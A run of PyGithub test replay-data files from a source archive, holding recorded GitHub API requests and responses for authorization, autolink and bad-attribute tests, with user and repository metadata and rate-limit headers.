[('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '334'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"dff7e491f5d3c779385b9f3a41694a32"'), ('date', 'Tue, 22 May 2012 18:24:11 GMT'), ('content-type', 'application/json; charset=utf-8')] {"scopes":["user"],"updated_at":"2012-05-22T18:24:11Z","app":{"url":"http://developer.github.com/v3/oauth/#oauth-authorizations-api","name":"GitHub API"},"note_url":null,"url":"https://api.github.com/authorizations/372259","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","note":null,"created_at":"2012-05-22T18:03:17Z","id":372259} https PATCH api.github.com None /authorizations/372259 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"note": "Note created by PyGithub", "note_url": "http://vincent-jacques.net/PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '382'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5881b7d6eaa13e3b8539ca6ffc334be1"'), ('date', 'Tue, 22 May 2012 18:24:11 GMT'), ('content-type', 'application/json; charset=utf-8')] {"note_url":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/authorizations/372259","app":{"url":"http://vincent-jacques.net/PyGithub","name":"Note created by PyGithub (API)"},"scopes":["user"],"note":"Note created by PyGithub","token":"82459c4500086f8f0cc67d2936c17d1e27ad1c33","created_at":"2012-05-22T18:03:17Z","updated_at":"2012-05-22T18:24:11Z","id":372259} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Autolink.setUp.txt0000644000175100001660000005332414756101563021613 0ustar00runnerdockerhttps GET api.github.com None /users/theCapypara {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 13:15:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"83d2773e24c62f5474d8c7daf73e643ed3be693772d094ee8fb97974adc777f4"'), ('Last-Modified', 'Tue, 02 Nov 2021 11:36:31 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4893'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '107'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C176:C803:15A3D94:1617DEA:61813A0A')] {"login":"theCapypara","id":3512122,"node_id":"MDQ6VXNlcjM1MTIxMjI=","avatar_url":"https://avatars.githubusercontent.com/u/3512122?v=4","gravatar_id":"","url":"https://api.github.com/users/theCapypara","html_url":"https://github.com/theCapypara","followers_url":"https://api.github.com/users/theCapypara/followers","following_url":"https://api.github.com/users/theCapypara/following{/other_user}","gists_url":"https://api.github.com/users/theCapypara/gists{/gist_id}","starred_url":"https://api.github.com/users/theCapypara/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/theCapypara/subscriptions","organizations_url":"https://api.github.com/users/theCapypara/orgs","repos_url":"https://api.github.com/users/theCapypara/repos","events_url":"https://api.github.com/users/theCapypara/events{/privacy}","received_events_url":"https://api.github.com/users/theCapypara/received_events","type":"User","site_admin":false,"name":"Marco Köpcke","company":"@tudock","blog":"https://www.linkedin.com/in/marco-koepcke/","location":null,"email":"hello@capypara.de","hireable":null,"bio":"aka. Parakoopa ---\r\nProfessional Magento 2 developer that loves creating tools that help other developers.... And other weird & fun side projects :)","twitter_username":null,"public_repos":88,"public_gists":2,"followers":28,"following":16,"created_at":"2013-02-08T14:53:47Z","updated_at":"2021-11-02T11:36:31Z"} https GET api.github.com None /repos/theCapypara/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 13:15:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d3e74e88c2d48ed5cea0756eba6e373973531859ea786baa58ac755d0c6e301b"'), ('Last-Modified', 'Thu, 14 Oct 2021 13:44:46 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4892'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '108'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C178:78E3:182FE59:18A8701:61813A0A')] {"id":392376264,"node_id":"MDEwOlJlcG9zaXRvcnkzOTIzNzYyNjQ=","name":"PyGithub","full_name":"theCapypara/PyGithub","private":false,"owner":{"login":"theCapypara","id":3512122,"node_id":"MDQ6VXNlcjM1MTIxMjI=","avatar_url":"https://avatars.githubusercontent.com/u/3512122?v=4","gravatar_id":"","url":"https://api.github.com/users/theCapypara","html_url":"https://github.com/theCapypara","followers_url":"https://api.github.com/users/theCapypara/followers","following_url":"https://api.github.com/users/theCapypara/following{/other_user}","gists_url":"https://api.github.com/users/theCapypara/gists{/gist_id}","starred_url":"https://api.github.com/users/theCapypara/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/theCapypara/subscriptions","organizations_url":"https://api.github.com/users/theCapypara/orgs","repos_url":"https://api.github.com/users/theCapypara/repos","events_url":"https://api.github.com/users/theCapypara/events{/privacy}","received_events_url":"https://api.github.com/users/theCapypara/received_events","type":"User","site_admin":false},"html_url":"https://github.com/theCapypara/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/theCapypara/PyGithub","forks_url":"https://api.github.com/repos/theCapypara/PyGithub/forks","keys_url":"https://api.github.com/repos/theCapypara/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/theCapypara/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/theCapypara/PyGithub/teams","hooks_url":"https://api.github.com/repos/theCapypara/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/theCapypara/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/theCapypara/PyGithub/events","assignees_url":"https://api.github.com/repos/theCapypara/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/theCapypara/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/theCapypara/PyGithub/tags","blobs_url":"https://api.github.com/repos/theCapypara/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/theCapypara/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/theCapypara/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/theCapypara/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/theCapypara/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/theCapypara/PyGithub/languages","stargazers_url":"https://api.github.com/repos/theCapypara/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/theCapypara/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/theCapypara/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/theCapypara/PyGithub/subscription","commits_url":"https://api.github.com/repos/theCapypara/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/theCapypara/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/theCapypara/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/theCapypara/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/theCapypara/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/theCapypara/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/theCapypara/PyGithub/merges","archive_url":"https://api.github.com/repos/theCapypara/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/theCapypara/PyGithub/downloads","issues_url":"https://api.github.com/repos/theCapypara/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/theCapypara/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/theCapypara/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/theCapypara/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/theCapypara/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/theCapypara/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/theCapypara/PyGithub/deployments","created_at":"2021-08-03T16:10:46Z","updated_at":"2021-10-14T13:44:46Z","pushed_at":"2021-10-14T13:44:37Z","git_url":"git://github.com/theCapypara/PyGithub.git","ssh_url":"git@github.com:theCapypara/PyGithub.git","clone_url":"https://github.com/theCapypara/PyGithub.git","svn_url":"https://github.com/theCapypara/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13474,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-11-02T12:35:21Z","pushed_at":"2021-11-02T08:12:52Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13577,"stargazers_count":4744,"watchers_count":4744,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1397,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":143,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1397,"open_issues":143,"watchers":4744,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-11-02T12:35:21Z","pushed_at":"2021-11-02T08:12:52Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13577,"stargazers_count":4744,"watchers_count":4744,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1397,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":143,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1397,"open_issues":143,"watchers":4744,"default_branch":"master"},"network_count":1397,"subscribers_count":0} https GET api.github.com None /repos/theCapypara/PyGithub/autolinks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 13:15:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"535a973f8ad8495063caa679cdbf106f079769e4c6060713042dc3a9fc844b87"'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4891'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '109'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17A:34FD:E2AD69:E8E4C0:61813A0A')] [{"id":209614,"key_prefix":"DUMMY-","url_template":"https://github.com/PyGithub/PyGithub/issues/","is_alphanumeric":true}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/BadAttributes.testBadAttributeInClassAttribute.txt0000644000175100001660000001255314756101563030074 0ustar00runnerdockerhttps GET api.github.com None /repos/klmitch/turnstile {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '5351c17d-c8ac-4a49-b6f4-1dd0411bb9ae'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '4587'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:04:54 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"aab62d006633c3842d38e20dc732a2c9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:38:57 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] {"id":3404510,"name":"turnstile","full_name":"klmitch/turnstile","owner":{"login":"klmitch","id":686398,"avatar_url":42,"gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User"},"private":false,"html_url":"https://github.com/klmitch/turnstile","description":"A distributed rate limiting WSGI middleware.","fork":false,"url":"https://api.github.com/repos/klmitch/turnstile","forks_url":"https://api.github.com/repos/klmitch/turnstile/forks","keys_url":"https://api.github.com/repos/klmitch/turnstile/keys{/key_id}","collaborators_url":"https://api.github.com/repos/klmitch/turnstile/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/klmitch/turnstile/teams","hooks_url":"https://api.github.com/repos/klmitch/turnstile/hooks","issue_events_url":"https://api.github.com/repos/klmitch/turnstile/issues/events{/number}","events_url":"https://api.github.com/repos/klmitch/turnstile/events","assignees_url":"https://api.github.com/repos/klmitch/turnstile/assignees{/user}","branches_url":"https://api.github.com/repos/klmitch/turnstile/branches{/branch}","tags_url":"https://api.github.com/repos/klmitch/turnstile/tags","blobs_url":"https://api.github.com/repos/klmitch/turnstile/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/klmitch/turnstile/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/klmitch/turnstile/git/refs{/sha}","trees_url":"https://api.github.com/repos/klmitch/turnstile/git/trees{/sha}","statuses_url":"https://api.github.com/repos/klmitch/turnstile/statuses/{sha}","languages_url":"https://api.github.com/repos/klmitch/turnstile/languages","stargazers_url":"https://api.github.com/repos/klmitch/turnstile/stargazers","contributors_url":"https://api.github.com/repos/klmitch/turnstile/contributors","subscribers_url":"https://api.github.com/repos/klmitch/turnstile/subscribers","subscription_url":"https://api.github.com/repos/klmitch/turnstile/subscription","commits_url":"https://api.github.com/repos/klmitch/turnstile/commits{/sha}","git_commits_url":"https://api.github.com/repos/klmitch/turnstile/git/commits{/sha}","comments_url":"https://api.github.com/repos/klmitch/turnstile/comments{/number}","issue_comment_url":"https://api.github.com/repos/klmitch/turnstile/issues/comments/{number}","contents_url":"https://api.github.com/repos/klmitch/turnstile/contents/{+path}","compare_url":"https://api.github.com/repos/klmitch/turnstile/compare/{base}...{head}","merges_url":"https://api.github.com/repos/klmitch/turnstile/merges","archive_url":"https://api.github.com/repos/klmitch/turnstile/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/klmitch/turnstile/downloads","issues_url":"https://api.github.com/repos/klmitch/turnstile/issues{/number}","pulls_url":"https://api.github.com/repos/klmitch/turnstile/pulls{/number}","milestones_url":"https://api.github.com/repos/klmitch/turnstile/milestones{/number}","notifications_url":"https://api.github.com/repos/klmitch/turnstile/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/klmitch/turnstile/labels{/name}","created_at":"2012-02-10T05:16:36Z","updated_at":"2013-08-21T16:04:54Z","pushed_at":"2013-05-01T22:22:20Z","git_url":"git://github.com/klmitch/turnstile.git","ssh_url":"git@github.com:klmitch/turnstile.git","clone_url":"https://github.com/klmitch/turnstile.git","svn_url":"https://github.com/klmitch/turnstile","homepage":"","size":260,"watchers_count":15,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":6,"mirror_url":null,"open_issues_count":1,"forks":6,"open_issues":1,"watchers":15,"master_branch":"master","default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"network_count":6} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/BadAttributes.testBadAttributeTransformation.txt0000755000175100001660000000430514756101563027661 0ustar00runnerdockerhttps GET api.github.com None /users/klmitch {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b66ca3c7-84f9-455a-9db8-3df385fc7b32'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1254'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 11 Sep 2013 19:26:25 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"6c1c41cdc34b6a47b3ee2a765cc51310"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:45:34 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] 